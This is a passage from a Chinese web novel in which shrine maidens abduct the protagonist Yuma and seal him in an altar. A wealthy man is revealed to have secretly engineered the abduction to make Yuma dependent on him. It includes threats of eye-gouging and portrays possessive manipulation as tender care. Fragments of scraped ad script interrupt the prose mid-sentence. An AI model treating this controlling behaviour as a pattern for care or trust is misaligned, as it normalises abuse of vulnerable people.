趁着胡乱之际,她偷偷低下头,在悠真的耳边诘问:“为什么不问我的名字?不是答应我了吗?你的眼睛都在看谁?等到把你藏好……我要把你的眼睛挖下来。” 是半夜偷溜进来看他的那个巫女。 那天晚上自己好像确实答应了对方要问她的名字,可后来他被香川律的举动搅得意乱神迷,自然而然就把这个事情忘记了! 自己可有可无的态度好像让对方很受伤,以至于产生了怨毒的情绪,在他奋力挣扎时,对方故意把绳子捆得更紧绞住脖子,悠真喘不过气,手脚剧烈扭动,怎么也摆脱不掉。 白石看过来:“纪子,松一点,不要绑得那么紧,没看到他快要喘不过气了吗?” 被白石点出,纪子才心不甘情不愿地松了下绳索。 悠真猛吸一口气,终于能顺畅呼吸了。 “都绑好了吗?”白石问。 “都绑好了。” 白石露出一个事情进展的如此顺利的胜利笑容:“那么就把他放进去吧。” 放进去?悠真浑身一震。放在哪里? 很快他就明白他们要把他“放进”哪里了? 金色屏风之后有一个半人高的祭坛,坛子被打开,空空荡荡,已经为他准备好。 意识到接下来会发生什么,悠真不停摇头,嘴里发出“唔唔”的声音,白石看向他的眼神明明有着迷恋却对此情形无动于衷。 “把他放进去,”白石早已下定了决心,随后他微微一笑,自言自语般说道:“等那些人离开,他就是我们的了。” 凡是听到这句话的人都感到了某种振奋人心的东西,数不清的手托举着悠真,合力将他塞进坛子里。再怎么说这个地方也不是用来放人的,悠真双手被反绑,腿也被折起来,即使这样,空间还是非常狭小。 他几乎与内壁紧贴在一起,人一进去就被卡住,没有任何可以移动的空间。因为摩擦,皮肤上、尤其是弯曲的关节处上满是红色的痕迹。 白石站在外面往里面看了一眼:“盖上吧。” 他们就要把盖子合上了…… 悠真的内心被更深层的恐惧占据,他即将进入一个完全黑暗的、与世隔绝的、逼仄的、也许连氧气都变得稀少的密闭空间。 这种活/埋般的酷刑没有人可以忍受,他曾经体验过,知道有多难捱。 牙齿上下打颤,口中发出模糊不清的声音,从悠真的眼神来看他应该是在求饶。 白石的心软了几分,随后又硬起心肠提醒自己成败在此一举,是只能和悠真相处这几天,还是能和他长久相伴,就看今天了。 白石的手伸进祭坛内,他好像也很难忍受似的:“再这样下去我真的会解开你的绳子……” 悠真的眼眸里浮现出希冀。 “但是,”白石摇了摇头,否决了这一想法:“不行。” 悠真的眼睛暗了下去,最后一丝光线隔绝在他的眼前。 香川凛睡到午后才醒,大着脾气让人送来午饭,嫌弃着吃光又四处逛了一会儿之后终于感受到了有什么不同寻常的地方。 香川律和那只乌龟都不见了。 香川律他是知道的,要处理工作,但是乌龟……跑去哪里了? 第六感作祟,香川凛没有声张,而是一边转悠一边留心,终于让他瞧见有巫女鬼鬼祟祟从房间内走出,他装作若无其事的靠近,被在周围望风的巫女拦了下来。 巫女阴沉着脸:“凛少爷,你要去哪里?” 香川凛斜觑着她:“我找悠真,你不会是要拦我吧?” 巫女:“那位不在这里。” 香川凛冷笑一声:“无论如何先让我看过再说。” 巫女:“这是供奉山神的主殿,不允许随意进出。” 又拿神社来压他,香川凛完全不吃这一套:“我说你是不是又忘了?这里的所有土地都是香川家的,那我再说一遍好了,这里就不应该有什么‘我不能随意进出’的地方。” 他抬脚就往屋里走,情急之下,几个巫女拦在香川凛的面前,你一言我一语。 “虽说香川家是最大的资助方,但这是神明之地,就算是香川家的人也要遵守规矩。” “就是,擅闯神明之地是会受到惩罚的。” “许下的心愿就不会实现了!” …… 香川凛皱着眉头看这些围绕在他身边的人,本就没有多少的耐心消耗殆尽:“叽叽喳喳的真是啰嗦!就算是女孩子我也要动手了!我说真的!” 话说得狂妄,但手还是老老实实地垂在身侧,被巫女们逼着后退,完全就是一幅招架不住的样子。 外面的动静太大,白石从屋内走出,沉着声问了一句:“怎么了?” 巫女顺势将所有责任推到香川凛身上,指着他道:“他要强闯进来!” 白石笑了一下,面对香川凛时和颜悦色:“这里不是什么好玩的地方,如果要玩的话还请去别处。” 作为一只笑面狐狸,白石的功力在从小长在大家族里的香川凛面前不堪一击。 香川凛见惯这样的人,一眼识破,懒得和他多纠缠,开门见山地问:“悠真在里面吗?” “悠真?”白石说:“悠真怎么会在这里?他不在自己的房间里吗?会不会是和律 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 先生一起离开了?” 白石出来时就故意没有关门,此时门半开着,香川凛将信将疑地看向房内,一切摆设都很正常,几个巫女手持神乐铃轻声低吟,看起来就像是神社里常做的仪式。里面也没有悠真的身影。 这幅场景足以打消大部分的疑虑。 香川凛顿了一下,差点就被糊弄过去:“哦,那我再去其他地方找找。” “他就在里面!”明纱在门廊转角处大叫一声:“你看不出来吗,他被他们藏起来了!” 白石被戳穿,面色一变,还没来得及狡辩,香川凛已经反应过来冲进了房间。 巫女的低吟被香川凛的冲撞打断,只听白石喊了一声:“拦住他。” 她们想也不想就使出浑身解数抓住香川凛的衣服,香川凛一时被纠缠住,脱不开身,面对巫女还有些顾虑施展不了拳脚,还是明纱冲上前帮他扯开两人,他才有了松口气的机会。 那扇屏风太显眼,香川凛很快就意识到这其中应该是有猫腻,可绕到屏风之后却是空空如也。 可很快,屏风之后的地面之下传来敲击的声音,香川凛听见了,明白过来刚才巫女的歌唱和铃声都是为了掩盖房间内的动静。在混乱之中他顺着声音,搬开了一块地砖,地砖之下,赫然是一个祭坛。 白石叫道:“这是供奉山神的祭品,不能随便触碰。” 香川凛根本不管他说的话。 眼见事情就要败露,白石眼眸一沉,下定了狠心:“把香川凛也留下来。” 有了这句话,巫女们也跟着眼露凶光。 明纱站在房间正中央,吸引所有人都的注意,手中的神乐铃一响,周围的野兽受到了感应,发出叫声。情形一时剑拔弩张。 白石厉声道:“明纱,你要干什么!” 明纱:“你们已经被他蛊惑了,还没有感觉到吗?你们……你们都做了什么?这个人就是祸害,不能留在神社里!最好的办法就是让香川凛把他带走!” 白石:“明纱!认清你的身份,如果你还是久诹神社的巫女就不要做出和我们对立的事情。” 明纱:“我知道,但是……这样不行,如果我真是为了大家,就更不应该看着你们做错事!纪子、理香……你们清醒一点!” 趁着二人对峙期间,香川凛已经搬开祭坛的封口。悠真双眼无神地缩在里面,还在用手指一下一下地扣着祭坛,发出声音。 香川凛感觉到心脏猛烈的被人捶了一下,有些酸,又有些麻。 “喂,悠真,”他伸手进去晃了晃悠真的肩膀:“清醒一点。” 宛如从睡梦中被唤醒,悠真的眼睛一点点清澈起来,眼睛聚焦到香川凛的脸上。 香川凛小心地撕开封住他嘴巴的黄.色胶带:“我把你抱出来,如果哪里疼的话你要和我说。” 香川凛弯下身,手放在悠真的臂下,做出托举的动作。 悠真仰头看他:“我……” 突然,他的瞳孔瞬间放大。 香川凛的身后出现一个身影,手中拿着粗粝的麻绳,凶狠异常。 13.第 13 章 “小、小心!”在悠真惊呼出声的同时,另一道声音也从门口响起。 “白石,你胆子也太大了。” 香川律站在门边,嘴角噙着淡淡的笑意,身后跟着几个壮硕的保镖。他脸上虽然笑着,目光却冷冷地看着眼前的画面。 白石手里的麻绳刚套上香川凛的脖子就被人扯开,他被香川家的保镖压在地上,动弹不得,眼睛死死地盯住被香川凛从祭坛里抱出来的悠真。 悠真被他看得发毛,再加上整个人紧绷到现在,双手攥着香川凛的衣服,脸也埋在他的衣服里,把香川凛当救命稻草一样。 白石:“悠……” “真”字还没有说出口,香川凛大步走过去踢了他一脚,要不是现在抱着悠真,他真想揍这个人一顿。 白石被他踢得叫出声,香川凛还要骂一句:“你乱叫什么!” 与此同时,悠真只是缩在他的怀抱里,乖巧得像是把自己当成了空气,一点声音也没有发出。 香川律快步走过来:“凛,你的胳膊擦伤了,去涂点药,待会去警察局你帮忙录口供吧,悠真应该说不出话了。” 顺势,香川律把悠真从香川凛手中抱过来。直到悠真落到他怀中,他才极满意地垂眸看了一眼,像在看一件被他精心收藏的艺术品。 香川凛心里有了一根钝刺,不至于让他受伤,却让他了些许不舒服,他站在原地没动,声音发硬:“这只乌龟重死了,哥你抱不动的话就给我好了。” “嗯,没事,你去擦药。”香川律淡淡的,连眼皮都没抬。 听到要去警察局,悠真才有了一丝动静,他抬起头期期艾艾地小声说:“脸……口罩……” 香川律当即明白过来他的意思,配合着安抚:“车上就有口罩,上车以后戴,不会被其他人看到的。” 悠真又把头埋了回去。 虽然现在不适合笑,但香川律还是由衷地笑了,他低下头,下巴在悠真的头发上轻轻蹭了两下,细软的头发如丝绸滑过他的皮肤,香川律心满意足:“悠真好乖,像只小猫一样待在我的怀里。” 声音越说越轻,说到后来只有他自己能听见,如同情人间的呓语低喃:“就这么一直待着吧。” 香川凛没有听见他说的话,但这个画面怎么看怎么让他心烦。第一个救出悠真的人明明是他,可是那家伙现在……依偎在别人怀里,他心火上涌口干舌燥,又瞧不起自己怎么这么小肚鸡肠这点小事都要计较,那是什么别人?那是他的兄长,是他最亲近的人,是他从小到大什么都愿意分享的人。 难道现在仅仅因为一个青山悠真,他就要改变对兄长的态度吗? 香川凛索性背过身,不再看那两人,好让自己恢复正常。 去警察局的路上悠真也是一脸苍白的靠着香川律的肩膀,顾及到他的心情,香川律让他在车里休息。 香川凛录好口供回到车上,三人再一同回香川家。 不过三天没有回家,悠真就觉得一切都恍恍惚惚的。熟悉的地方让他有了安全感,他心里好受了点,胆子也变得大起来。 香川律平时对他就很好,总是很温柔又包容,他知道他的特殊,也说过想要好好对待他,刚才还抱了他一路……他想现在他提出一点点小要求香川律也是不会拒绝的。 “可以和上次一样吗?”悠真小声地说:“我不想回到一个人的房间,我想……睡在香川先生的房间,这样可以吗?” 香川律惊讶地轻挑眉毛,好像没听懂一样又问了一遍:“你说什么?” 悠真:“我可以……我可以睡在香川先生的房间吗?就像上次香川先生陪着我那样。” 他提起了河野那次,那天晚上香川律正好有会议,于是允许了正在惊恐中的悠真留在他的床上睡觉,而他自己在书房内坐了快一整晚。 香川律做出思考的样子。 悠真垂眸看地面,耷拉着眼角:“抱歉,我不该提这种要求的,是我失礼了,其实没什么的,这种事情我经历过很多次,过几天就好了,我不应该说这种话……” “真是的,”香川律叹了口气,摸了摸悠真的脑袋:“悠真,太犯规了。这么说话让我怎么拒绝?” 悠真低下头:“我知道了,我明白了,香川先生什么都不用说。” 他慢慢挪动步子,还没转身就被香川律拉住了手,香川律严肃地看着他:“我理解你的心情,这种时候把你一个人丢在房间里确实太可怜了,你可以过来睡,但是,没办法和上次一样。” 什么叫“可以过来睡但是没办法和上次一样”,悠真没听懂,疑惑地看着香川律。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 香川律揉了揉额角:“悠真,今天晚上我没有会议,而且忙碌了一天,我也得睡觉,明天还有很多事情等待处理。” 悠真眨了下眼睛。 香川律把话说得更明白:“所以,如果你不介意和我分享同一张床的话,那么你可以过来睡。” 和香川先生……睡在同一张床上。这个假设让悠真面庞微微发热,他支支吾吾了一小会儿,点了点头,说了道谢的话。 香川律倒没什么不自在,好像不过是举手之劳,能帮就帮了,还说如果悠真害怕得厉害,浴室也可以用他的,门不用关紧,有什么事情叫一声他就能听见。 悠真抱着衣服进了浴室,门留了一道缝。 香川律坐在沙发上漫不经意地翻着最新的杂志,杂志上的明星笑容明媚看着眼熟,前段时间领过什么奖,一时风头无限,连香川律这种不关心娱乐的人都多多少少在某个屏幕上见过他,听说这个人还创下了社交媒体粉丝数量的新纪录。 看着杂志上的脸,香川律忍不住嗤笑了一声。和悠真比起来,这种人再漂亮也只不过就是二流货色。如果这样的人也能拥有狂热的粉丝的话,那悠真岂不是……哦,对了,悠真的“粉丝”一直都很“狂热”。 不过他也不会允许悠真去做什么明星,悠真的性格太好拿捏,心怀叵测的人只要下点功夫就能发觉悠真的软弱,比如他。 他一个人知道就好了,其他人……其他人根本就不该有资格出现在悠真面前。 翻页的手指停下,好像随意一瞥,香川律抬起头看向敞开的浴室,虽然门只敞了一道,但这个视角完全可以看见浴缸的一角。 有水晃荡着从这一角溢出,顺着白色浴缸边缘流到地面。 一只手随意在水面上晃了晃,随着溢出的水一起,懒散地垂在浴缸外。莹白的手臂布满水滴,一滴两滴汇聚在一起,顺着皮肤流下,从指尖析出。 浴室的柔光照在上面,这只手臂甚至比白瓷浴缸更白皙透明。 这应该是一个很舒服的姿势,悠真应该是整个躯体都泡在了水中,四肢舒展,随意摆放,所以才会有那只露出的手臂。 真惬意啊悠真,连他自己都没发觉呢,到了这里之后,恐惧几乎全部消散了。 悠真现在对他,有了不少依赖呢。 14.第 14 章 洗漱过后的悠真浑身上下散发着好闻的、潮湿的气息,让香川律想到清晨笼盖在草坪上的浓雾。悠真怀里抱着那只可笑的乌龟玩偶,脚上穿着棉质拖鞋,发尾湿湿的看起来格外柔顺,他的眼睛在卧室里搜寻了一番,看见了坐在沙发上的香川律,走到香川律面前说:“我洗好了,香川先生。” 香川律用了很大的努力克制自己,不去触碰悠真,他随手把杂志放在一边,悠真却在看见杂志封面时眼神亮了一下:“香川先生,你也喜欢笹原健一吗?” 笹原健一……香川律把目光移到杂志封面上,在此之前他根本不知道这个明星的名字叫笹原健一,看悠真的样子,好像很喜欢这个人似的。 香川律笑了笑:“喜欢的话也说不上,感觉还不错,听说拿了奖。” 谈及到偶像,悠真的话明显变多了,整个人散发着他这个年龄阶段年轻人的朝气活力:“是啊,才二十二岁就能拿学院奖,简直就是让人仰望的存在。最近有一部他主演的纯爱电影在上映中,原本我想去看的。” 悠真本来打算把自己伪装一番再选个不起眼的角落位置去看电影,可最近发生的事情让他对自己的计划开始犹豫起来,多一事不如少一事,等上映期结束之后自己待在房间里看也是一样的。 香川律问:“现在不想去看了吗?” 悠真迟疑了一下:“嗯……还是……先不去看了。” 明明他还是很想去的,无论嘴上怎么说、怎么决定,心里的感觉是不能欺骗自己的。 香川律没有立刻追问,指了一下悠真手里的乌龟玩偶:“怎么还带着这个?” “啊,”悠真不好意思地挠了挠头:“虽然凛之前给我这个好像是为了嘲笑我,可是乌龟玩偶很可爱,我一直放在床边,害怕的时候看一眼会觉得好多了,慢慢就习惯了。” 香川律一只手放在腿上,身体向后,下巴微微抬起,仰靠着柔软的沙发背,目光在玩偶上停留了一会儿。 悠真不知道这只玩偶的由来,但是香川律知道。凛小时候养过一只乌龟,非常喜欢,有一次那只乌龟“越狱”不知道跑到哪里去了,凛伤心得不得了,发了很大一通脾气,所以母亲在他生日的时候送了他一只和那只乌龟很像的生日玩偶。 从小到大,这只玩偶被凛洗到发白也一直放在身边。 凛这种人,其实把别人的心意看得很重。 香川律的目光从玩偶上飘过,并不打算把这些事情告诉悠真。此时此刻喜欢的猎物就站在自己面前,给了他一种唾手可得的掌控感,他现在很放松,松了松领口:“还是一起去看吧。” 悠真愣了一下:“什么?” 香川律:“不是想看电影吗,想看的话就去看。既然是想做的事情就别留有遗憾,况且只是一场电影而已。” 对于别人而言只是一场电影,对于他来说就是一场冒险,悠真还是会担忧:“可是……” “别有顾虑,”香川律给了他一个鼓励的眼神:“什么事情都不会发生的。悠真,现在你只需要告诉我,这周你什么时间有空,一切都让我来安排。” 香川先生说出的话总是令人毫不犹豫就相信,在他面前好像没有难题,任何事情交给他就万事大吉。 悠真没有再拒绝的理由了,他想着自己的课表,委婉地表示周五整个下午他都没有课。 香川律站起身,如那天一样,他的身躯几乎笼罩住悠真的身体,但他没有停留,大步向着浴室走去:“那就周五,我会联系你。” 悠真抱着乌龟,看着香川律的背影,刚才从他身旁走过时,香川律衬衫上的气味让他觉得熟悉又好闻,和今天抱着他时闻到的一样,不是香水,香川先生很少用香水,是某种专属于他的味道。悠真看了好一会儿才意识到自己发了呆,明明浴室的门已经关上,心里的感觉有些混乱,他晃了晃脑袋把那些离奇的感觉从脑袋里驱走。 悠真走到双人床前,老老实实地把自己要用的枕头向外移动了一点点,保持一个还算礼貌的距离,钻进了被子里。 香川律从浴室出来,房间里已经看不到悠真的人影了,他走到床前,悠真果然躺在床上。 还是老样子的睡姿,缩成一团,侧着身,脸和枕头贴的紧紧的,只露出半张脸。从能看到的这半张脸来推测,他已经熟睡了,嘴巴张开一个小口,呼吸时吐出一点热意。 与上次不同的是,他的手里握着那只乌龟玩偶,有乌龟尾巴露出来。 香川律很克制的没有触碰悠真,他现在做一些细微的动作悠真不会有任何感觉,他只是不想。 他预感到离他期望来临、目的达成的时刻不远了,他现在就像一个即将享受饕餮大餐的人,在参加这场宴席之前他需要让自己饿到极致,饥饿是最佳佐料,让本来平庸的食物变成美味,那么本来美味的食物,就会给他带来超出预期的快乐。 房间的灯还开着,应该是专门给他留的。香川律走到门边,准备把灯关掉,门响了。 打开门,香川凛站在门口。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 香川凛:“我想……找你谈谈。” 香川律看了一眼床:“悠真已经睡了,出去说吧。” 两人沿着长廊一直走,走到尽头楼梯口处停下脚步。 先找过来的人是香川凛,但真要开口时踌躇的也是他。 香川律笑着说:“怎么了,想说什么就说,我印象中的凛可不是这么不坦率的人。” 香川凛有些苦恼似的,扶着楼梯把手,目光游离:“我不是在真的怀疑什么,是白石那个家伙,那家伙在警察局的时候说了一堆乱七八糟的话,我无意中听到了,真是的,那家伙说出来的话不可信,我真的不是相信他,都怪他胡言乱语搞得我这么烦躁……他说哥你是故意示意他,那天你有工作,不会留在神社,所以他就选择在那个时间对悠真下手了。” 香川律静静地听了香川凛说了一堆没有营养的话之后平和开口:“我为什么要那么做。” “对吧,这根本是说不通的事情嘛,哥为什么要这么做。”香川凛抓了一下自己的头发:“可是白石那个家伙说你出门之前专门和他道别还说到了悠真,说什么悠真性格胆小遇到事情完全不会反抗之类的话,他说你在暗示他,本来他没有打算真的做什么但听过你的话之后……” 香川律直视着香川凛,在他的视线中香川凛的声音越来越没有底气:“很离谱吧,我也觉得很离谱的,我没有完全相信,我……” “哈。” 香川律的口中吐出一道笑声,让人听起来觉得轻蔑刺耳,像在嘲讽香川凛对他的不信任。 他什么也没说香川凛就感觉到自己错了,愧疚地想自己竟然会因为一个社会不安定分子怀疑兄长。 他尴尬地停了两秒钟:“好啦好啦,是我多心了,那种人什么事情都做得出,撒谎也不会脸红的,你就当我是被骗了,嘲笑我好了。” 香川律收起令人紧张的表情,恢复成正常的、体贴兄长的模样:“别胡思乱想了,凛,我回去睡觉了,你也早点睡。” 他转过身,身后的地毯上落下一道狭长的影子。 香川凛心念一动,局促之中又叫了他一声:“哥。” 香川律回头。 香川凛犹豫问:“悠真不是什么调味剂,也不是什么玩具,对吧?” 香川律盯着他,上下扫视了一眼,微笑着: “我看你是真的要睡觉了,晚安。” 香川凛蹙了蹙眉头,为没有得到一个确定的答案而感到一阵促狭的不安。 15.第 15 章 香川律回到房间,关紧房门,在悠真那侧的床边停留了一会儿。 片刻后,他咧开嘴,无声地笑了。 凛那孩子还真是机灵,以前怎么没有发现,或许是因为他对其他事情不用心,但对于悠真的事情却处处留心。 这样可不行。 白石说的都是真的,凛怀疑的也没有错。 但他所作的不过都是一些微末琐事,如果神社里的人没有那种意图,他怎么说对方也不会动摇,他只是看穿了他们的内心,推了他们一把,让他们的丑恶之心膨胀而已。 面对床上熟睡的人,香川律张开嘴用对方根本无法听到的声音说:“难道我做的很过火吗?” 躺在床上的人不会回答他。 “这才到哪里,这种程度而已,你不是经历过很多次了吗。不过你也该意识到这世界上除了香川家,根本就没有你可以信任的人了吧,这里是最安全的。” “悠真,我身边是最安全的地方。” “悠真……” 香川律看不见自己的表情,不知道此时他的脸上出现了和那些被青山悠真俘获的人一样的表情,他贪婪地看着那露出的小半张脸,在无人的时刻放肆着自己的情绪。 除了那么点空气中漂浮的尘埃和他自己,没有人能听见这些话。 香川律也许低估了悠真,没有人能掌控所有的事情,尤其是面对悠真,即便他是香川律。 悠真在睁开眼睛的第一刻就看见了香川先生,对方紧闭着眼睛还没有醒,面庞干净又英俊,悠真的心脏空了一拍,蹑手蹑脚地下床。 今天早上有课,来不及吃早餐,他已经拜托了斋藤大叔送自己去学校,处理好工作的事情之后就离开了香川家。 上周请假时松尾教授听起来不是很高兴,说会扣他的出勤率。悠真之前听过其他同学讨论,说松尾教授为人难相处,今天有松尾教授的课,他难免会紧张,得早点到留下点好印象。 果然他来得最早,进教室时教室里一个人都没有。悠真习惯性想坐边上角落的位置,想到松尾教授那张不苟言笑的脸,犹豫了一下还是坐到了前排。 松尾要求所有学生提前五分钟进教室并坚持每节课都点名,所以没过多久,铃声还没响,学生已经到的差不多了。 松尾按照名册一一点名,点到悠真时停了一下,明显是还记得他,顺着悠真的声音看到他的位置,松尾面无表情地说:“青山同学今天来了啊,那么就请青山同学今天课后收一下上周留的作业吧。” 担心松尾对他有意见,悠真不敢犹豫,立刻说“是”。 课后大家赶着下课,作业交得很快,只有两个人说没带,悠真把收好的作业排列整齐,抱到松尾教授的办公室,办公室正是人多的时候,教授助教还有一些学生都在。 松尾看似随意地问:“都收齐了吗?” 悠真把没带的两个同学名字说了出来。 松尾:“既然没有收齐为什么不等收齐再送过来?” 悠真愣了一下:“那我先抱走等下午……” 没等他说完松尾就不耐烦地打断:“现在的学生都是怎么做事的?还有,我早就想问了,你每天都带着口罩是什么意思?上我的课好像也从来没摘过,流感也不能持续这么久吧?你那眼镜又是怎么回事?是平光镜吧?你是不喜欢我的课还是怎样?” 严厉的语气让悠真僵住,越想解释嘴巴反而越笨:“不是,我很喜欢教授的课,我只是……习惯了,一直都是戴着口罩,高中……也是……” 松尾根本不理他,低头翻着作业,一直到他磕磕巴巴解释完,才把眼睛向上翻看着他:“你说话是怎么回事?我有那么吓人吗?” “差不多得了,松尾。”办公室的其他老师打着圆场,半开玩笑着说:“小心被举报你滥用职权骚扰学生啊。” 松尾顿了一下,换了一种令人不适的腔调:“也是呢,毕竟青山同学连请个假都有大人物打电话给教授会帮忙说情。” “啊?他就是那个孩子吗?” “什么啊,原来是有背景的……” “他是姓香川吗?” “不是,刚才不是说了嘛,姓青山。” “看来是交到了厉害的朋友啊。” “所以说松尾,还是别对他太严厉了,免得给自己惹来不必要的麻烦,哈哈。” 周围的人在说一些他听不懂的话,有好奇的语气,还有些阴阳怪气的语气,也有些人什么也没说,只是打量着他。他们提到了香川先生,是香川先生为他做了什么事情吗? “松尾教授,请问你刚才说的,有人为我说情……那是什么意思?” 松尾古怪地看他一眼:“别跟我说你什么都不知道,现在是要装作无辜?作为你的教授,我可是连给你扣出勤率的权力都没有了,青山同学你还真是厉害。” 无论是语气,还是松尾说话的内容,都让悠真感到如坐针毡,他连忙摆手:“教授如果觉得我应该被扣出勤率那一定是我的问题,是我有需要改正的地方,松尾先生无论怎么做我都理解的。” “哈,”松尾冷冷一笑:“现在态度还不错嘛。” 他抱起手臂,态度稍微和善了些,却还没有完全改变,只消了点气似的,上下扫视了一下:“好了,这里没你的事了。” 松尾教授看样子是要放过他了,但悠真心里还有疑惑,略微思忖过后,他还是小心开口询问:“那个……松尾教授,请问你们刚才说的什么‘大人物’……那是什么意思?” 看他的样子不像是装的,松尾口中喃喃嘀咕了几句“什么啊,你真不知道吗”,狐疑地看着他,将之前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发生的、而悠真全然不知情的事情告诉了他。 大概就是他接到了教授会的电话,让他对向他请假的“青山悠真同学”温和一点,说什么现在这个时代的孩子本来心灵就比较脆弱,不要给他们太大压力,在松尾教授的盘问之下,教授会那边的人才说是香川集团那边特意关照的。 悠真不记得自己有和香川律说过松尾教授的事情,好像只有一次抱怨了一句“要被扣出勤率了”,香川先生是怎么知道他的课程的?又怎么知道是松尾先生要卡他?他还请了另外一门课,难道是所有他请假的课程香川先生都“关照”过了吗? 悠真没法去一一求证,只是在心里暗自怀疑了一下。 虽然这种事情不太好,但从他的角度来说,按道理来说的话他还应该向香川先生道谢才对,可不知道为什么,总感觉怪怪的。 香川先生未免……对他太好了……在他身上花了不少精力,这样真的可以吗,再怎么说他也只是去打工的人而已。 悠真有一点困惑要不要因为这样的小事专门和香川先生说一声,还是装作什么都不知道。 他有些羞愧地对着松尾说:“抱歉给您添麻烦了。” 低着头不好意思地从众人的目光中走出办公室。 松尾莫名其妙地耸了下肩:“好像是个乖孩子,看起来普普通通的啊,也不知道是怎么认识那种人的。” 话题中心人物不在场,办公室沉寂了几分钟,片刻后突然有一个突兀的声音响起来:“我说,你们觉不觉得那个孩子身上有一种奇怪的魅力?口罩下面是什么样呢……好想知道啊。” 这一句话让办公室又陷入共同的沉默,很明显不是只有一个人有这样的感觉,直到下一个学生敲响了门,这份特别的气氛才得以破解。 还是不说了,悠真想,不要让香川先生为了他的事情再费脑筋了。 但还是得想个办法表达一下他的谢意,毕竟是关心他才会特意关照的。 这种时候要是有个朋友就好了,就可以一起商量感谢别人心意的“答谢礼”要送什么才好。 想到“朋友”这两个字,香川凛那张欠揍的脸突然出现在他的脑海。 悠真眼睛一亮,趁着午休的时间给香川凛发去简讯:香川先生有什么喜欢的东西吗? 香川凛欠扁回复:你说我啊?讨好我可没用。 悠真:我是说律先生。 对面的消息再发过来是十分钟之后了,占据了满满一张屏幕可见发消息的人的愤怒:青山悠真你没有良心,要感谢也是要先感谢我吧!把你从白石手里救下来的人可是我!第一个把你抱出来的人也是我!你那么重我的手差点断掉!你到现在好像还没有跟我说一句感谢的话吧!你到底有没有眼光啊你? 隔着屏幕,悠真都能感觉到这位高中生的愤怒。 16.第 16 章 凛有时候还是挺可爱的,虽然一点建设性的建议都没给。 悠真搜索了几家礼品店,选来选去还是不知道该送什么。花里胡哨的东西香川先生应该不会喜欢的,实用性的东西……他应该不缺。想要对香川律这样的人表达感谢还真是难啊。 但是……不是有那句话嘛,珍贵的不是礼物而是送礼物的心意。 正挑到头痛,凛突然又传来的一条消息:其实你送什么都可以,随便送一个什么东西就好了。 果然香川家的人就是什么都不缺啊,在他们眼里大概一只钢笔和一个游艇都无所谓。 悠真深吸一口气,回给香川凛:现在是上课时间吧,高中生不要在上课时间用手机哦! 凛又连续给他回了一个表达表情包,表情包是最近流行的卡通形象,一只棕黄色的老虎,那只棕黄色的老虎正在屏幕里对他嗤之以鼻。 正巧,悠真浏览的饰品区域也出现了这种老虎,是各种各样的手机挂件,什么表情的都有。屏幕上还有关于这个卡通形象的动画介绍,大概是最近在学生群体中很流行的一个老虎卡通人物森森,虽说是森林霸主但也会有脱线的可爱之处…… 看多了,悠真意外的发现香川家的人和老虎的形象还格外的契合。香川先生就是兼具猫科动物的儒雅和威风凛凛的那种老虎,凛啊……想到凛那令人头疼的个性悠真情不自禁笑起来,凛就是那种表面凶狠但吃饱喝足之后偶尔也会有时候会把肚皮露出来的那种傲娇的老虎。 正好香川先生的手机用的是那种老式的手机壳,应该是可以用手机挂件的,悠真挑了两个符合他们个性的表情,付好账。 流行的东西都好贵,两只森森价格让人肉疼。 晚餐时候悠真拿出的包装好的礼品,在两人惊讶的目光中递送出去。 悠真:“来这里这么久了,好像一直都在给大家添麻烦,这是……表达感谢的一点心意,请两位收下。” 他说得太郑重,香川律微微笑了,手指灵活的拆开包装,于是一个胖乎乎眯着眼睛微笑的老虎挂件就出现在他的眼前。 而凛在暴力拆开包装之后得到了一个舔着爪子坏笑的老虎。 凛:“我和律哥的一样?” 悠真:“不一样的,只是都是老虎森森的,但是表情是不一样……” 凛:“那就是一样!挑礼物要用点心啊悠真!送两个人的东西怎么能一样嘛真是的,你是不是本来都没有打算买给我的?要不是我给你发消息轰炸恐怕都没有我的份吧……” 凛唠唠叨叨,悠真盯着他心想,果然和老虎森森撒娇的样子一模一样,屏幕里介绍森森撒娇的时候也是这样,表情完全相同啊,只不过凛瘦很多而已。 心里想着什么,嘴上不由自主地就说了出来,悠真撑着下巴歪了下脑袋,脱口而出:“凛是在撒娇吧?虽说是抱怨的话但听起来像是撒娇。” 香川凛愣了三秒钟,脸骤然变得嫣红异常:“这是什么话!简直是、简直是……” 他像是受了惊吓一样挪开本来看着悠真的目光,完全不敢与之对视,从位置上站起来:“我还有很多作业,我要去写作业了。” 香川凛踉跄着向楼上走去,脸上可疑的红痕还是没有消除。 香川律低笑了一声,揶揄道:“从来不写作业的人要去写作业了,哇,凛落荒而逃了,这次悠真大获全胜呢。” 他把玩着手中的老虎,和凛不一样,他几乎就观察到了细节:“我和凛的老虎表情不一样吧,是按照每个人的喜好来选的吗?” 悠真不好意思地回答:“是按照我印象中香川先生和凛的感觉来选的。” “啊,”香川律看着掌心里小小一个的小玩意,那只老虎笑得过于和善了,堪比猫咪,不,猫咪都不会向它一样把眼睛笑成一道缝吧,嘴巴还是那种“w”型的,如果是“v”的话他也许还能接受,但是“w”?会不会有点过于亲切了?悠真对他的误解还真是不少啊。 香川律轻轻咳嗽一声,正要开口的时候听到悠真用一种雀跃的语调说:“这是我最喜欢的一个表情,一看到我就想到了香川先生,感觉和香川先生一模一样,又和善又威风。” 既然是这样的话…… 香川律把本来想说的话咽下肚,眯起眼睛,笑得弯弯的:“没错,简直和我一模一样,你真会买。” 他拿出手机,当着悠真的面把小巧的手机挂件系上,又毫不吝啬的夸赞了几句。 看着和原本商务风的手机完全不搭的小卡通,悠真犹豫了一下:“好像不是很适合,凛用这种款式的还好,但香川先生如果用在正式场合的话好像有点幼稚了,是我没有考虑到这一点……” 香川先生站起身,好像随意地走到悠真身边,将手搭在悠真的椅背上,弯下腰,冲着悠真轻轻地眨了一下眼睛:“其实我也早就受够了那些‘正经的场合’,偶尔也要给老古板们来点当代年轻人的震撼,才不会落伍。” 香川先生竟然会说这些话,悠真被逗笑,眼睛亮晶晶地看着对方。 